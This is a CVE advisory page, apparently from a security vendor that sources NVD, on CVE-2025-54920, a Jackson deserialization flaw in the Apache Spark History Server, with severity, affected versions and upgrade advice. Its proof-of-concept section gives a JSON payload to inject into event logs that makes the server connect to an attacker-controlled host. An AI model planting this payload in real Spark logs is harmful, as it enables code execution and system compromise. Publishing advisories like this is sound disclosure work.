CVE-2025-54920
Last modified
CVE-2025-54920 is a high-severity vulnerability rated 8.8/10 on the CVSS scale. This issue affects Apache Spark: before 3.5.7 and 4.0.1. Users are recommended to upgrade to version 3.5.7 or 4.0.1 and above, which fixes the issue. Summary Apache Spark 3.5.4 and earlier versions contain a code execution vulnerability in the Spark History Web UI due to overly permissive Jackson deserialization of event log data. EPSS estimates a 5.34% chance of exploitation in the next 30 days.
Description
This issue affects Apache Spark: before 3.5.7 and 4.0.1. Users are recommended to upgrade to version 3.5.7 or 4.0.1 and above, which fixes the issue. Summary Apache Spark 3.5.4 and earlier versions contain a code execution vulnerability in the Spark History Web UI due to overly permissive Jackson deserialization of event log data. This allows an attacker with access to the Spark event logs directory to inject malicious JSON payloads that trigger deserialization of arbitrary classes, enabling command execution on the host running the Spark History Server. Details The vulnerability arises because the Spark History Server uses Jackson polymorphic deserialization with @JsonTypeInfo.Id.CLASS on SparkListenerEvent objects, allowing an attacker to specify arbitrary class names in the event JSON. This behavior permits instantiating unintended classes, such as org.apache.hive.jdbc.HiveConnection, which can perform network calls or other malicious actions during deserialization. The attacker can exploit this by injecting crafted JSON content into the Spark event log files, which the History Server then deserializes on startup or when loading event logs. For example, the attacker can force the History Server to open a JDBC connection to a remote attacker-controlled server, demonstrating remote command injection capability. Proof of Concept: 1. Run Spark with event logging enabled, writing to a writable directory (spark-logs). 2. Inject the following JSON at the beginning of an event log file: { "Event": "org.apache.hive.jdbc.HiveConnection", "uri": "jdbc:hive2://<IP>:<PORT>/", "info": { "hive.metastore.uris": "thrift://<IP>:<PORT>" } } 3. Start the Spark History Server with logs pointing to the modified directory. 4. The Spark History Server initiates a JDBC connection to the attacker’s server, confirming the injection. Impact An attacker with write access to Spark event logs can execute arbitrary code on the server running the History Server, potentially compromising the entire system.
Metrics
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Weakness Enumeration
Affected Software
| Vendor | Product | Versions | Update |
|---|---|---|---|
| Apache | Spark | < 3.5.7 | — |
| Apache | Spark | 4.0.0 | — |
| Apache | Spark | 4.0.1 | Rc1 |
References
- https://github.com/apache/spark/pull/51312Issue Tracking
- https://github.com/apache/spark/pull/51323Issue Tracking
- https://issues.apache.org/jira/browse/SPARK-52381Issue Tracking
- https://lists.apache.org/thread/4y9n0nfj7m68o2hpmoxgc0y7dm1lo02sExploit, Mitigation, Vendor Advisory
- http://www.openwall.com/lists/oss-security/2026/03/13/4Exploit, Mailing List, Third Party Advisory
Timeline
- Published
- Last Modified
- Status
- Analyzed
Frequently Asked Questions
What is CVE-2025-54920?
How severe is CVE-2025-54920?
How do I fix CVE-2025-54920?
How Strix Helps
- How Strix found a critical auth bypass in etcdStrix autonomously discovered a critical authentication bypass in etcd, later designated CVE-2026-33413.
- Autonomous PentestingAI agents that find and validate exploitable vulnerabilities like this one across your applications.
- PR ReviewsPentest every pull request so vulnerable code is caught before it ships to production.
- AI Penetration TestingHow AI-driven penetration testing continuously covers your attack surface.
Related CVEs from 2025
- CVE-2025-54915Access of resource using incompatible type ('type confusion'…6.7
- CVE-2025-54916Stack-based buffer overflow in Windows NTFS allows an author…7.8
- CVE-2025-54917Protection mechanism failure in Windows MapUrlToZone allows …4.3
- CVE-2025-54918Improper authentication in Windows NTLM allows an authorized…8.8
- CVE-2025-54919Concurrent execution using shared resource with improper syn…7.5
- CVE-2025-5492A vulnerability has been found in D-Link DI-500WF-WT up to 2…8.8
- CVE-2025-54923CWE-502: Deserialization of Untrusted Data vulnerability exi…8.7
- CVE-2025-54924CWE-918: Server-Side Request Forgery (SSRF) vulnerability ex…7.5
- CVE-2025-54925CWE-918: Server-Side Request Forgery (SSRF) vulnerability ex…7.5
- CVE-2025-54926CWE-22: Improper Limitation of a Pathname to a Restricted Di…7.2
- CVE-2025-54927CWE-22: Improper Limitation of a Pathname to a Restricted Di…4.9
- CVE-2025-5493A vulnerability was found in Baison Channel Middleware Produ…9.8
Are you affected by CVE-2025-54920?
Run a free Strix scan to check your systems for this vulnerability.
Scan your code nowSource: NVD / NIST
